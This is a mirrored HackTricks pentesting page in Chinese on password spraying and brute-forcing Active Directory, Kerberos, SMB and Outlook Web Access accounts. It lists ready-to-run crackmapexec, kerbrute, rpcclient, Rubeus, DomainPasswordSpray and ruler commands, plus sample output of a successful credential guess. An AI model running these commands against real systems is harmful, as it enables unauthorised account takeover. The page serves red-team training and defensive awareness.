mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
155 lines
7.8 KiB
Markdown
155 lines
7.8 KiB
Markdown
# 密码喷涂 / 暴力破解
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
## **密码喷涂**
|
||
|
||
一旦您找到了几个**有效的用户名**,您可以尝试使用最**常见的密码**(记住环境的密码策略)对每个发现的用户进行尝试。\
|
||
**默认情况下**,**最小** **密码** **长度**为**7**。
|
||
|
||
常见用户名列表也可能有用:[https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||
|
||
请注意,如果您尝试了几次错误的密码,**可能会锁定一些账户**(默认情况下超过10次)。
|
||
|
||
### 获取密码策略
|
||
|
||
如果您有一些用户凭据或作为域用户的shell,您可以**使用以下方法获取密码策略**:
|
||
```bash
|
||
# From Linux
|
||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||
|
||
enum4linux -u 'username' -p 'password' -P <IP>
|
||
|
||
rpcclient -U "" -N 10.10.10.10;
|
||
rpcclient $>querydominfo
|
||
|
||
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
|
||
|
||
# From Windows
|
||
net accounts
|
||
|
||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||
```
|
||
### 从Linux(或全部)进行利用
|
||
|
||
* 使用 **crackmapexec:**
|
||
```bash
|
||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||
# Local Auth Spray (once you found some local admin pass or hash)
|
||
## --local-auth flag indicate to only try 1 time per machine
|
||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||
```
|
||
* 使用 [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||
```bash
|
||
# Password Spraying
|
||
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
||
# Brute-Force
|
||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||
```
|
||
* [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免账户锁定):**_
|
||
```bash
|
||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||
```
|
||
* 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 有时不推荐,可能无法工作
|
||
```bash
|
||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||
```
|
||
* 使用 **Metasploit** 的 `scanner/smb/smb_login` 模块:
|
||
|
||
![](<../../.gitbook/assets/image (132) (1).png>)
|
||
|
||
* 使用 **rpcclient**:
|
||
```bash
|
||
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
||
for u in $(cat users.txt); do
|
||
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
|
||
done
|
||
```
|
||
#### 从Windows
|
||
|
||
* 使用带有暴力模块的[Rubeus](https://github.com/Zer1t0/Rubeus)版本:
|
||
```bash
|
||
# with a list of users
|
||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||
|
||
# check passwords for all users in current domain
|
||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||
```
|
||
* 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)(它可以默认从域生成用户,并且会从域获取密码策略,并根据策略限制尝试次数):
|
||
```powershell
|
||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||
```
|
||
* 使用 [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
||
```
|
||
Invoke-SprayEmptyPassword
|
||
```
|
||
## 暴力破解
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||
```
|
||
{% endcode %}
|
||
|
||
## Outlook Web Access
|
||
|
||
有多种工具可以进行**Outlook 密码喷涂**。
|
||
|
||
* 使用 [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
|
||
* 使用 [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
|
||
* 使用 [Ruler](https://github.com/sensepost/ruler)(可靠!)
|
||
* 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)(Powershell)
|
||
* 使用 [MailSniper](https://github.com/dafthack/MailSniper)(Powershell)
|
||
|
||
要使用这些工具中的任何一个,你需要一个用户列表和一个密码/少量密码来喷涂。
|
||
```bash
|
||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||
[x] Failed: larsson:Summer2020
|
||
[x] Failed: cube0x0:Summer2020
|
||
[x] Failed: a.admin:Summer2020
|
||
[x] Failed: c.cube:Summer2020
|
||
[+] Success: s.svensson:Summer2020
|
||
```
|
||
## Google
|
||
|
||
* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
|
||
|
||
## Okta
|
||
|
||
* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
|
||
* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
||
* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
||
|
||
## 参考资料
|
||
|
||
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
||
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||
* www.blackhillsinfosec.com/?p=5296
|
||
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||
|
||
<details>
|
||
|
||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|